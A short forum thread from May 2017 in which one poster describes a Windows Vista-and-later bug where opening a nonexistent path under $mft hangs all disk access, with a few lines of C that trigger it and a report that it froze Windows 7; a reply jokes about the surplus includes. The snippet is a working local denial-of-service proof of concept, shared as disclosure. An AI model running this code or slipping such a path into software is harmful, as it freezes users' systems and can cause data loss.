# Meanwhile in windows world



## abishai (May 22, 2017)

Attempt to open any unexistent entry under $mft hangs entire disk access in Windows Vista or later. No special rights required. Hangs occurs as entire mft locked in exclusive mode and handle is not freed.


```
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main() {
   CreateFileW( L"C:\\$mft\\foobar", FILE_READ_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL );
    return 0;
}
```

I checked it and my Windows 7 hangs perfectly. 

Original link: https://habrahabr.ru/company/aladdinrd/blog/329166/


----------



## Cthulhux (May 22, 2017)

I find this waste of _#include_s disturbing.


----------

